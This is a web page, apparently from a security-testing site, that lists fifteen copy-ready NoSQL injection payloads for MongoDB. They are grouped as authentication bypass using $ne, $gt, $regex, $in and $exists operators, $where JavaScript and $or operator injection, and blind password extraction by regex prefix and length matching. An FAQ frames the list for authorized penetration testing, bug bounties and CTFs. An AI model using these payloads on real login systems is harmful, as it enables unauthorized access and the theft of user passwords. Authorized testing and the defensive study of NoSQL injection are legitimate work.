Skip to content
Payload Playground

NoSQL Injection Cheat Sheet

NoSQL injection payloads for MongoDB, CouchDB, and other NoSQL databases. (15 payloads)

Build custom NoSQLi payloads in the SQL Injection generator

MongoDB Auth Bypass

(6)
{"username": {"$ne": ""}, "password": {"$ne": ""}}
Not-equal operator bypass (JSON)
username[$ne]=&password[$ne]=
Not-equal via query params
{"username": {"$gt": ""}, "password": {"$gt": ""}}
Greater-than operator bypass
username[$regex]=.*&password[$regex]=.*
Regex match-all bypass
{"username": {"$in": ["admin", "root"]}, "password": {"$ne": ""}}
$in operator with common usernames
{"username": "admin", "password": {"$exists": true}}
$exists check bypass

Operator Injection

(5)
{"$where": "this.username == 'admin'"}
$where JavaScript injection
{"$where": "function() { return true; }"}
$where always-true function
{"username": {"$regex": "^adm"}}
Regex prefix matching
{"price": {"$gt": 0, "$lt": 1}}
Range query manipulation
{"$or": [{"username": "admin"}, {"username": "root"}]}
$or operator for multiple users

Blind Extraction

(4)
username=admin&password[$regex]=^a
Extract password char-by-char (a)
username=admin&password[$regex]=^ab
Extract password prefix (ab...)
{"username": "admin", "password": {"$regex": "^.{8}$"}}
Determine password length
{"username": {"$regex": "^.{0,5}$"}}
Find usernames by length
ShareXLinkedInReddit

Level up your security testing

Related Generators

Related Cheat Sheets

Further reading

Frequently asked questions

What is the NoSQL Injection Cheat Sheet?+

It's a quick-reference collection of 15 NoSQLi payloads for testing NoSQL Injection vulnerabilities during authorized penetration testing, bug bounties, and CTFs. Every payload is copy-ready and grouped by attack context.

How do I use these NoSQLi payloads?+

Copy any payload straight into your authorized test, or open the SQL Injection generator to build customized NoSQLi variants with encoding and WAF-bypass options. Only test systems you have explicit permission to assess.

Are these NoSQLi payloads free to use?+

Yes — this cheat sheet and all NoSQLi payloads are completely free, with no account required. Everything runs in your browser.

Send feedback

Report an issue or suggest an improvement.

0/2000

Your report includes this page (/cheatsheets/nosql-injection) and your browser. If you’re signed in, we include your account ID and plan so support can prioritize Pro requests. Please leave out secrets and client data.